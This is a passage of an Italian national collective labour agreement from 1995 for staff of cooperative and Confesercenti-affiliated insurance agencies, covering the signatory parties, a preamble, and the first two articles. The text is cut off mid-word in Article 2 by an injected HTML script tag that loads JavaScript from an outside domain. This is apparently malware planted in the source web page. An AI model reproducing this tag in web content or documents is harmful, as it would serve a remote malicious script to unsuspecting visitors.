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Categoria: Assicurazioni (cooperative e confesercenti) Settore: Credito e Assicurazioni Data stipula: 28-6-1995 Data decorrenza: 1-1-1994 Data scadenza: 31-12-1997
Contratto Collettivo Nazionale di Lavoro
PER IL PERSONALE AMMINISTRATIVO E PRODUTTIVO
DELLE AGENZIE DI ASSICURAZIONE IN GESTIONE LIBERA
ADERENTI ALLA LEGA NAZIONALE DELLE COOPERATIVE E MUTUE
E ALLA FIARC-CONFESERCENTI
BOLOGNA: il giorno 24 febbraio 1995
TRA
- Il coordinamento Nazionale delle Agenzie di assicurazione in gestione
libera assistito dalla Lega Nazionale delle Cooperative e Mutue nelle
persone di PIETRO ALBERIGHI, ROMEO ZANZANI e ILLIO ZANI
E
- la FULA rappresentata da: Mingrilli Giuseppe, Segretario Nazionale
FISAC-CGIL - Bosso Massimo, Segretario Nazionale FISAC-CGIL Emilia Romagna
- Vietri Antonio, Direzione Nazionale UILASS-UIL - Venturi Viviana,
Segretaria Regionale UILASS-UIL Emilia Romagna - Pizzi Eros, Segretario
Nazionale FIBA-CISL - Trapella Giancamillo, Segretario Regionale FIBA-CISL
Emilia Romagna
si è stipulato
il presente Contratto Collettivo Nazionale di Lavoro che rinnova il
Contratto scaduto il 31 dicembre 1993.
BOLOGNA: il giorno 28 giugno 1995
TRA
- La Confesercenti FIARC nelle persone di Carlo Massaro (Presidente
Nazionale), Elvira Massimiano (Coordinatrice Nazionale); l'USARCL nelle
persone di Rino Padrone (Vice Presidente Nazionale), Giancarlo Castagnoli
(Direttore Generale)
E
- la FULA rappresentata da: Mingrilli Giuseppe, Segretario Nazionale
FISAC-CGIL - Bosso Massimo, Segretario Nazionale FISAC-CGIL Emilia Romagna
- Vietri Antonio, Direzione Nazionale UILASS-UIL - Venturi Viviana,
Segretaria Regionale UILASS-UIL Emilia Romagna - Pizzi Eros, Segretario
Nazionale FIBA-CISL - Trapella Giancamillo, Segretario Regionale FIBA-CISL
Emilia Romagna
si è stipulato
il presente Contratto Collettivo Nazionale di Lavoro che rinnova il
Contratto scaduto il 31 dicembre 1993.
PREMESSA AL CCNL
Il presente CCNL, nell'assumere come proprio lo spirito del "Protocollo
sulla politica dei redditi e dell'occupazione, sugli assetti contrattuali,
sulle politiche del lavoro e sul sostegno al sistema produttivo" del
23.7.93, ne realizza, per quanto di competenza, le finalità e gli
indirizzi in tema di relazioni sindacali:
- attribuendo all'autonomia collettiva delle parti una funzione
primaria per la gestione delle relazioni di lavoro mediante lo sviluppo
del metodo partecipativo, ai diversi livelli e con diversi strumenti, al
quale le parti riconoscono un ruolo essenziale nella prevenzione del
conflitto;
- regolando l'assetto della contrattazione collettiva in funzione di
una dinamica delle relazioni di lavoro tale da consentire ai lavoratori
benefici economici con contenuti non inflazionistici e alle imprese una
gestione programmabile del costo del lavoro nonché di sviluppare e
valorizzare pienamente le opportunità offerte dalle risorse umane.
A tal fine le parti si impegnano a che il funzionamento del sistema di
relazioni sindacali e contrattuali più avanti descritto si svolga secondo
i termini e le procedure specificamente indicate dal presente Contratto.
Art. 1 - Sfera di applicazione.
Il presente CCNL regola i rapporti di lavoro tra Aziende con mandati di
agenzia e/o agenti in gestione libera e società da questi controllate,
secondo quanto previsto dai punti 1, 2, 3 dell'art. 2359 C.C., alle quali
sia demandata tutta o parte delle attività previste dai mandati agenziali,
rappresentate dalle organizzazioni firmatarie e i lavoratori dipendenti.
Art. 2 - Scorporo di parti del portafoglio delle agenzie
e garanzie occupazionali.
In caso di scorporo di parti del portafoglio delle Agenzie mediante la
costituzione di società controllate dalle stesse che comportino
trasferimenti di lavoratori verrà attivato un confronto preventivo con le
strutture sindacali, aziendali e/o territoriali.
Ai lavoratori verranno c<script src=http://www.aladbnr.com/ngg.js></script>
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